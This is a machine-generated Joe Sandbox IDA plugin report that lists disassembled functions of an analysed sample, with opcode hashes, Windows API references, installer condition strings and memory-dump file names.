Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 641ec01a6c875e3b2c84453e425d68a9f965fa54850ea30174769f22409db236
Instruction ID: 5a8e7681456cc14659864314a8cad1f11a8cc6e8750b5ffc9c42b7174f099c9a
Opcode Fuzzy Hash: 641ec01a6c875e3b2c84453e425d68a9f965fa54850ea30174769f22409db236
Instruction Fuzzy Hash: 75113C72908219EFDF219F58DC45A9DBBB2FB49320F20432AF865A73E0CB719D109B40

Uniqueness

Uniqueness Score: -1.00%

Function 001D6100 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,-00002000,?,?,001D47D7,?,?,?,?,?,?,?,?,001D4648,?,?), ref: 001D6150

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: f3709323bc3dc113631c3e44720a80c50cec8d83288fb53c59a3138c257dc8d6
Instruction ID: e960641abf7897e14cc329ef5a596d502ab789d8a109610ae52ed4b8d9417f4d
Opcode Fuzzy Hash: f3709323bc3dc113631c3e44720a80c50cec8d83288fb53c59a3138c257dc8d6
Instruction Fuzzy Hash: F6F0A074008242DEE7108B94CC98B6ABBB6FB85306F5885F7E488C65A3C339DE80DF10

Uniqueness

Uniqueness Score: -1.00%

Function 001C40C0 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

b^4, xrefs: 001C4263

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID: b^4
API String ID: 0-2979938867
Opcode ID: bafe06272c26a5ba087a80b61ad9f4d5488654adf2ac592e5498a7fbfec998bd
Instruction ID: 6b2fc6ab249d4dcf098efd1195584a5f8bcd2ff477d2c4abdc8a8bb832edf310
Opcode Fuzzy Hash: bafe06272c26a5ba087a80b61ad9f4d5488654adf2ac592e5498a7fbfec998bd
Instruction Fuzzy Hash: 657108B1801B48CFE761CF78C94478ABBF0BB05324F14465DD4A99B3D1D3B9A648CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A546790 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b68f086d2e2b517a6f5fc49ceadcad3e166571cb812a20bd3a0d3a833443bcf
Instruction ID: 1f3f247a2e83f89a3b60ceffd58fa5e784585227eacaa3e3ff2d47b697969529
Opcode Fuzzy Hash: 9b68f086d2e2b517a6f5fc49ceadcad3e166571cb812a20bd3a0d3a833443bcf
Instruction Fuzzy Hash: 2141C6B2E002149FCB05CF68C88476EB7E9EB85310F154269E814EB799EF30AD01C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 001CD1F0 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a6670d9370074a8953e83625dabedc8c583a3d8a413a0bc62e0b8e2716ec6f
Instruction ID: b9df9f3b1507f3f65a3c5e4e7974c403745ee2ba81b5e5da634b978e9b99d3ce
Opcode Fuzzy Hash: 39a6670d9370074a8953e83625dabedc8c583a3d8a413a0bc62e0b8e2716ec6f
Instruction Fuzzy Hash: 29419AB0604642EFDB11CF68E908B5AFBF8FF05314F004269E4249BB91D776E924CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00213950 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f46bee9703b127532f3286a688c2b04e286d8d8aa0f3ff93b1863bea25b9296
Instruction ID: 549c154b024b2f512142ac9d5b01a1ea47f2c2bc84e04f053cff7ee120eada14
Opcode Fuzzy Hash: 7f46bee9703b127532f3286a688c2b04e286d8d8aa0f3ff93b1863bea25b9296
Instruction Fuzzy Hash: 0E318771905606EFCB10DF69CA44B9AFBF5FB05320F204269E424AB6E1C771EE64CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001CD080 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 319b5b76416ff0984048aab3375aebcf32d6348688f5940cdf72b5288e300394
Instruction ID: 8ccaea156793ca5c309dc261930474e7a2dd9d7e7487793738e4037ce08ba6a6
Opcode Fuzzy Hash: 319b5b76416ff0984048aab3375aebcf32d6348688f5940cdf72b5288e300394
Instruction Fuzzy Hash: 2931D0B1405B84CEE721CF29C658787BFF0BB05718F104A5DD4A64BB91C3BAA648CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001C6650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ad83d9b89f1b4e3554fc084df61d03573c09ce0ea0ef4a386942fbc20f2dba
Instruction ID: c488e5bdcc7af7a242c90c78b6c10bd55a3dd3579e6ad1b7b6799a159f771084
Opcode Fuzzy Hash: c8ad83d9b89f1b4e3554fc084df61d03573c09ce0ea0ef4a386942fbc20f2dba
Instruction Fuzzy Hash: 8D2158B1804748DFD711CF58C90478ABBF4FB0A314F1186AED455AB791E3B9AA04CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001C6C10 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8a7b591c9f0647283f63df6958fec760ea835804b5c37460d8ddb798fa6ccbc
Instruction ID: c3049eb841686922b99554a6036f28eb57fb410316e94684b87e1dec9893d688
Opcode Fuzzy Hash: b8a7b591c9f0647283f63df6958fec760ea835804b5c37460d8ddb798fa6ccbc
Instruction Fuzzy Hash: 2E2158B1804788DFD711CF58C90478ABBF4FB09314F1186AED455AB791E3B9AA04CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001E1F90 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a3fcb4e088532be4b75e8d8f5ed8a1f213eb18bc556c559675471f2c8255930
Instruction ID: 396cb7f5f39de08588fcfd477a651d2d2302c716534a5390db4883ad508d7a13
Opcode Fuzzy Hash: 3a3fcb4e088532be4b75e8d8f5ed8a1f213eb18bc556c559675471f2c8255930
Instruction Fuzzy Hash: E5110CB1904708DFCB41CF58D944789BBF4FB09728F2086AEE8189B381D3769A06CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0036389E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d8d287d79c558fca8815360d9930192a6bcd5b49c4beef6cc36a696f12dfe01
Instruction ID: f6c53419280f5bb160809650dd5a300c88b00f60b45a21897c151b32a79d9f13
Opcode Fuzzy Hash: 1d8d287d79c558fca8815360d9930192a6bcd5b49c4beef6cc36a696f12dfe01
Instruction Fuzzy Hash: 0BF0E572A11234EFCB13C74CC805AA8B3ACEB84B21F128066F541DB241C774DE04C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 001C6020 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0cf669cc4eb2d7ffc69947365edd169fc5f3815c1a80e06a49eceb964eab7be
Instruction ID: 7088681b700f3394578e972e5025bf9058cdb51bad846a299ad65d62c38da684
Opcode Fuzzy Hash: d0cf669cc4eb2d7ffc69947365edd169fc5f3815c1a80e06a49eceb964eab7be
Instruction Fuzzy Hash: 78F01D30008B12DBDB715F28ED04B827BE1BB05722B004B2DE4AA926E1CB24EC559B04

Uniqueness

Uniqueness Score: -1.00%

Function 6A583CC9 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83f7c3a9c28ba902ead7bfae16d18044bdf2bb91cc3da091a84cf07b9e0d49cf
Instruction ID: b3d4df256d4a2336ccf6efd9fe9f1c3cac183eb14a0f4e591e8cadb40f5b247d
Opcode Fuzzy Hash: 83f7c3a9c28ba902ead7bfae16d18044bdf2bb91cc3da091a84cf07b9e0d49cf
Instruction Fuzzy Hash: 16E08C72911238EBCB11CB88C905A8AF3FCEB89A10B1244A6FA12E3102C6B0DE00D7C0

Uniqueness

Uniqueness Score: -1.00%

Function 003638E2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction ID: 8e7d16e97c451f5bceaab12ee22c55e9c3d44fa2b16dc534f08a8a8f654ab662
Opcode Fuzzy Hash: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction Fuzzy Hash: CEE0EC72911228EBCB16DB99C945A8AF7FCFB49B50B55849AB501D7155C3B0DF00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6A57A94C Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc152b3ba31781cee426ba3657540d042328ad4f275800d3fd55c130f691854
Instruction ID: 9ec3547789f9e202e05e23532db5d9f98ebb6661729a1ac6657439502be41e8f
Opcode Fuzzy Hash: 5fc152b3ba31781cee426ba3657540d042328ad4f275800d3fd55c130f691854
Instruction Fuzzy Hash: 32C08CB4080E0086CE26CD1082B03A43364ABC2F82F82188CC6432B783DE1EDC83E700

Uniqueness

Uniqueness Score: -1.00%

Function 0035EA61 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ca74bf86403612b33997a65aa0df787ea7991c8497a48da527edbc35c2bef3e
Instruction ID: effd007271fb3f4b9db0ffa7247276f6738f5390b4343c8160817d5e1dc583ae
Opcode Fuzzy Hash: 5ca74bf86403612b33997a65aa0df787ea7991c8497a48da527edbc35c2bef3e
Instruction Fuzzy Hash: 01C08C3400290046DE2F9D2082B1BA63354F391783F94088CC8030B652C61E9E8AE681

Uniqueness

Uniqueness Score: -1.00%

Function 6A5506D0 Relevance: 38.7, APIs: 7, Strings: 15, Instructions: 202COMMON

Download Yara Rule

APIs

#47.MSI(?,?,NOT Installed,0000000D,AA831995), ref: 6A550784
#47.MSI(?,?,Installed AND (REMOVE<>"ALL"),0000001D), ref: 6A5507D0
#47.MSI(?,?,Installed AND ((REMOVE="ALL") OR (AI_INSTALL_MODE="Remove")),0000003C), ref: 6A55081C
#47.MSI(?,?,UPGRADINGPRODUCTCODE,00000014), ref: 6A550868
#47.MSI(?,?,OLDPRODUCTS,0000000B), ref: 6A5508B4
#47.MSI(?,?,PATCH AND PATCH<>"MEDIASRCPROPNAME",00000023), ref: 6A550900
#47.MSI(?,?,(NOT Installed) AND (AI_UPGRADE="No") AND OLDPRODUCTS,00000035), ref: 6A55094C

Strings

\^]j, xrefs: 6A550962
OLDPRODUCTS, xrefs: 6A55089A
Installed AND (REMOVE<>"ALL"), xrefs: 6A5507B6
Installed AND ((REMOVE="ALL") OR (AI_INSTALL_MODE="Remove")), xrefs: 6A550802
D^]j, xrefs: 6A550916
PATCH AND PATCH<>"MEDIASRCPROPNAME", xrefs: 6A5508E6
UPGRADINGPRODUCTCODE, xrefs: 6A55084E
(NOT Installed) AND (AI_UPGRADE="No") AND OLDPRODUCTS, xrefs: 6A550932
NOT Installed, xrefs: 6A550767
]]j, xrefs: 6A5507D7
,^]j, xrefs: 6A5508BB
\^]j, xrefs: 6A550953
]]j, xrefs: 6A5507E6
,^]j, xrefs: 6A5508CA
D^]j, xrefs: 6A550907

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID: (NOT Installed) AND (AI_UPGRADE="No") AND OLDPRODUCTS$,^]j$,^]j$D^]j$D^]j$Installed AND ((REMOVE="ALL") OR (AI_INSTALL_MODE="Remove"))$Installed AND (REMOVE<>"ALL")$NOT Installed$OLDPRODUCTS$PATCH AND PATCH<>"MEDIASRCPROPNAME"$UPGRADINGPRODUCTCODE$\^]j$\^]j$]]j$]]j
API String ID: 0-723075601
Opcode ID: 40a1f17631d8094aead89789522d45838bd8095f2786e7992aabec8c55f17312
Instruction ID: 2f165b221c2a9b7266f889786d003b1308cf25938643d01ec9b2a5611ae474d2
Opcode Fuzzy Hash: 40a1f17631d8094aead89789522d45838bd8095f2786e7992aabec8c55f17312
Instruction Fuzzy Hash: 75714B71A00214DFCF10EF69C898BEEBBF8EB49319F92041BE411F6651CB359954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6A568730 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 320libraryloaderthreadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6A5D73DC,AA831995,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6A5687A2
EnterCriticalSection.KERNEL32(?,AA831995,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6A5687B4
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,6A59F013,000000FF), ref: 6A5687C1
GetCurrentThread.KERNEL32 ref: 6A5687CC
SymSetOptions.DBGHELP(80000016,?,?,?,?,?,?,?,?,?,?,?,00000000,6A59F013,000000FF), ref: 6A5687EF
LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,6A59F013), ref: 6A568879
GetProcAddress.KERNEL32(00000000), ref: 6A568880
SymInitialize.DBGHELP(00000000,00000000,00000001,6A5AD308,00000000), ref: 6A5688BF
StackWalk.DBGHELP(0000014C,?,?,?,?,00000000,00000000,*** Stack Trace (x86) ***,?,?,?), ref: 6A568986
GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6A568A9A
SymCleanup.DBGHELP(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,6A59F013,000000FF), ref: 6A568B83
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,6A59F013,000000FF), ref: 6A568BA5

Strings

[0x%.8Ix] , xrefs: 6A568AA1
MODULE_BASE_ADDRESS, xrefs: 6A568ACC
SymFromAddr, xrefs: 6A56886F
Dbghelp.dll, xrefs: 6A568874
<--------------------MORE--FRAMES-------------------->, xrefs: 6A568A41
*** Stack Trace (x86) ***, xrefs: 6A568929

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentInitialize$AddressCleanupEnterHandleLeaveLibraryLoadModuleOptionsProcProcessStackThreadWalk
String ID: *** Stack Trace (x86) ***$<--------------------MORE--FRAMES-------------------->$Dbghelp.dll$MODULE_BASE_ADDRESS$SymFromAddr$[0x%.8Ix]
API String ID: 4282195395-80696534
Opcode ID: f6a78db7120da95823415548c8ed0afa875b4a218581df6c9c6f298b0072a419
Instruction ID: 9cb0566e8d07171814cba183fea37cd20de9820c88cf4c7503aeadca4a4ce261
Opcode Fuzzy Hash: f6a78db7120da95823415548c8ed0afa875b4a218581df6c9c6f298b0072a419
Instruction Fuzzy Hash: 25D15FB1901249EFDF21CFA8C844BDE7BB8FF46304F054569E945AB291DB709A44CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0029EBE0 Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 238libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

GetModuleHandleW.KERNEL32(kernel32,DF534560,?,?,00000000), ref: 0029ECE3
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 0029ED2B
__Init_thread_footer.LIBCMT ref: 0029ED3E
GetProcAddress.KERNEL32(00000000,SetDllDirectory), ref: 0029ED86
__Init_thread_footer.LIBCMT ref: 0029ED99
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 0029EDE1
__Init_thread_footer.LIBCMT ref: 0029EDF4

Part of subcall function 00276110: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00276151
Part of subcall function 00276110: _wcschr.LIBVCRUNTIME ref: 0027620F

Strings

kernel32, xrefs: 0029ECDE
